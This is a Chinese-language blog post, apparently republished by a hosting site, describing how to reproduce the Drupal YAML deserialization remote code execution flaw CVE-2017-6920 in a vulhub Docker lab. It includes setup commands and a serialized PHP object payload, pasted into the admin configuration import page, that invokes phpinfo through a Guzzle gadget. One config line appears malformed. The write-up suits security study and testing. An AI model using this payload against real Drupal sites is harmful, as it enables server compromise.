新西兰服务器

如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现


如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现

发布时间:2021-12-29 17:51:29 来源:高防服务器网 阅读:116 作者:柒染 栏目:安全技术

这篇文章将为大家详细讲解有关如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由由内容管理系统和PHP开发框架共同构成,在GPL2.0及更新协议下发布。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞。

漏洞影响范围:   Drupal < 8.3.4

下面仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本次演示环境采用vulhub搭建,执行以下命令搭建

cd /drupal/CVE-2017-6920/

docker-compose up -d

之后开启了8080端口,访问之后正常安装即可,由于没有mysql环境,所以安装的时候可以选择sqlite数据库

安装完毕之后还需要安装yaml扩展,首先执行docker ps查看容器id

之后执行docker exec -it a3df54b9def6 bash 进入容器命令行后依次执行以下命令

# 换镜像源,默认带vim编辑器,所以用cat换源,可以换成自己喜欢的源  cat > sources.list << EOF  deb http://mirrors.163.com/debian/ jessie main non-free contrib  deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib  deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib  deb-src http://mirrors.163.com/debian/ jessie main non-free contrib  deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib  deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib  deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib  deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib  EOF  # 安装依赖  apt update  apt-get -y install gcc make autoconf libc-dev pkg-config  apt-get -y install libyaml-dev  # 安装yaml扩展  pecl install yaml  docker-php-ext-enable yaml.so  # 启用 yaml.decode_php 否则无法复现成功  echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini  # 退出容器  exit  # 重启容器,CONTAINER换成自己的容器ID  docker restart CONTAINER

之后便可以开始复现漏洞了

漏洞链接: http://192.168.101.152:8080/

访问之后如下图,注意,复现该漏洞需要登录管理员账户

二、漏洞复现

登录一个管理账户

访问链接http://192.168.101.152:8080/admin/config/development/configuration/single/import

之后Configuration type选择为Simple configuration,Configuration name可以随便填写,Paste your configuration here中写入poc:

!php/object "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"

之后点击左下角的Import按钮便可以触发漏洞

复现结束。

关于如何进行Drupal YAML 反序列化代码执行漏洞CVE-2017-6920复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

[微信提示:高防服务器能助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。

[图文来源于网络,不代表本站立场,如有侵权,请联系高防服务器网删除]
[